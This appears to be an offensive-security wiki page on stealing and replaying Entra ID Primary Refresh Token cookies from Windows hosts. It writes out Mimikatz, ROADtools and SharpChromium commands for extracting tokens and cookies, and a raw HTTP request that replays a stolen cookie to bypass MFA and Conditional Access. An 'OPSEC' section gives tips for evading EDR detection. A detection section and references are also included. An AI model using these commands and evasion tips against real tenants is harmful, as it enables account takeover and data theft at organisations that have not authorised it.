Entra PRT cookie theft (x-ms-RefreshTokenCredential)

TL;DR: A domain-joined or Entra-joined Windows host caches a Primary Refresh Token (PRT) bound to the TPM/CloudAP. You can’t lift the PRT itself without the device key, but you can lift a short-lived x-ms-RefreshTokenCredential cookie (or request one) and replay it from anywhere to silently SSO into M365 — bypassing MFA and most Conditional Access. Distinct from entra-device-code-prt-pivot, which phishes a fresh PRT instead of stealing the live one.

Mental model

When a user signs in to a domain/Entra-joined Windows host, the Cloud Authentication Provider (CloudAP / aadcloudap.dll inside lsass) does the OAuth dance, gets a PRT, and stores its session key wrapped against the device transport key (TPM-backed when available). Every browser SSO request to login.microsoftonline.com triggers a COM handshake with CloudAP that produces a PRT cookie (x-ms-RefreshTokenCredential), a JWT signed with the session key including a nonce from the STS. The cookie is the SSO primitive — browsers (Edge, Chrome with WAM) pass it in the Cookie: header on first hit, and the STS hands back a session.

Three attack shapes:

Cookie sniff — capture the live x-ms-RefreshTokenCredential in the browser session (DPAPI cookie jar, EDR-friendly).
CloudAP mint — with SYSTEM, ask CloudAP to mint a fresh PRT cookie via BCryptDecrypt/Personal Token Broker calls. Mimikatz dpapi::cloudapkd + sekurlsa::cloudap.
Device key export — pull TPM-bound transport key (TPM 1.2 / soft-bound 2.0 only) to mint cookies offline indefinitely. ROADtools roadtx prtenrich/prtmint.

Preconditions

Local admin on a Windows 10/11 host that is Entra-joined or Hybrid-joined.
SYSTEM for CloudAP RPC (token impersonation works).
For TPM-backed devices (default since Win11 + TPM 2.0 attested): the session key is non-exportable, but you can still mint cookies on-host. Offline replay needs the cookie and a usable nonce.
For non-TPM / soft binding: full device key export → unlimited offline cookies.

Tradecraft

Live mint with SYSTEM

:: Mimikatz — print the PRT, derived session key, KeyValue, and tenant info
privilege::debug
sekurlsa::cloudap
:: Output:
::   Prt              : <base64 PRT>
::   ClearKey         : <if non-TPM>
::   DerivedKey       : <hex>
::   Context          : <hex nonce>

  
# ROADtools roadtx — fetch nonce, build cookie, exchange for tokens
roadtx prtenrich --prt <prt_b64> --prt-sessionkey <key_hex>
roadtx browserprtauth --prt <prt_b64> --prt-sessionkey <key_hex> -r https://graph.microsoft.com
# Browser-flow exchange yields an access + refresh token; refresh is FOCI — see <a class="wikilink" href="/learnfromscratch/learn/topics/cloud/azure/oauth-foci-family-of-client-ids-abuse/">oauth-foci-family-of-client-ids-abuse</a>

  
# Lift from running Edge/Chrome (current user) — DPAPI unwrap of cookies DB
# (Cookies live in: %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\Cookies)
SharpChromium.exe cookies edge
# Filter for 'login.microsoftonline.com' → 'x-ms-RefreshTokenCredential' (5-min TTL)

Cross-device replay

Replay the cookie (still valid) in any browser:

  
GET /common/oauth2/authorize?... HTTP/1.1
Host: login.microsoftonline.com
Cookie: x-ms-RefreshTokenCredential=<jwt>

STS treats your foreign IP as the legitimate device — Conditional Access “compliant device” claim is set if the original device satisfied it. The session that comes back is full M365 access for the cookie’s lifetime, plus a refresh token that survives long after the PRT cookie expires.

TPM-bound mint without admin

CVE-2023-35633 and follow-ups in 2024 demonstrated user-context COM calls to BrowserCore.exe / CloudExperienceHostBroker that mint PRT cookies without SYSTEM. Not patched on all Win10 builds. ROADtools’ roadtx winhello flow demonstrates the minting from a non-admin context.

Detection / Telemetry

Entra sign-in logs: PRT-based sign-ins emit Authentication Method = Previously satisfied and Token Issuer Type = AzureAD. Replay from a foreign country shows the original device’s Device ID with a mismatched IP → classic UEBA signal.
AAD risk events: “Anonymous IP address”, “Unfamiliar sign-in properties”, “Token issuer anomaly”. Risky sign-in policy + sign-in risk High = blocks.
Defender for Endpoint: Behavior:Win32/Cloudap.A for Mimikatz cloudap usage; LSASS read with 0x0010 ACCESS_MASK from non-Microsoft signer.
MDE / MD for Identity correlate device ID seen on impossible-travel.

OPSEC pitfalls

The PRT cookie lifetime is short (~5 min). Mint just-in-time per resource, don’t stockpile.
The cookie binds to the original tenantBrandingId and includes DeviceID. Tenants with risk-based CA fire on compliantDevice=true from an IP outside the device’s normal geos.
Mimikatz sekurlsa::cloudap triggers high-confidence LSASS read signatures on all modern EDR. Use Nanodump + offline pypykatz cloudap, or BOFs that touch CloudAP directly.
TPM-attested PRT cookies include a tpm_attestation claim. Sign-in logs flag missing/invalid attestation. Replay survives but is forensically obvious post-hoc.
A WHfB key registered for the device puts an amr: ["pwd","mfa"] claim in tokens minted via PRT — replayed tokens look fully MFA’d, which is the whole point but also makes the abuse hard to spot without sign-in-log review.
Killing the user’s session by force-rolling MFA / “Revoke sessions” in admin centre invalidates refresh tokens but the issued access tokens and cached refresh tokens you’ve already exchanged remain live until expiry (typ. 60–90 min access, 14-90 day refresh).

References

https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30
https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/
https://github.com/dirkjanm/ROADtools
https://github.com/leechristensen/RequestAADRefreshToken
https://learn.microsoft.com/en-us/entra/identity/devices/concept-primary-refresh-token
https://research.ifcr.dk/the-art-of-stealing-the-primary-refresh-token-77abd2a09ad9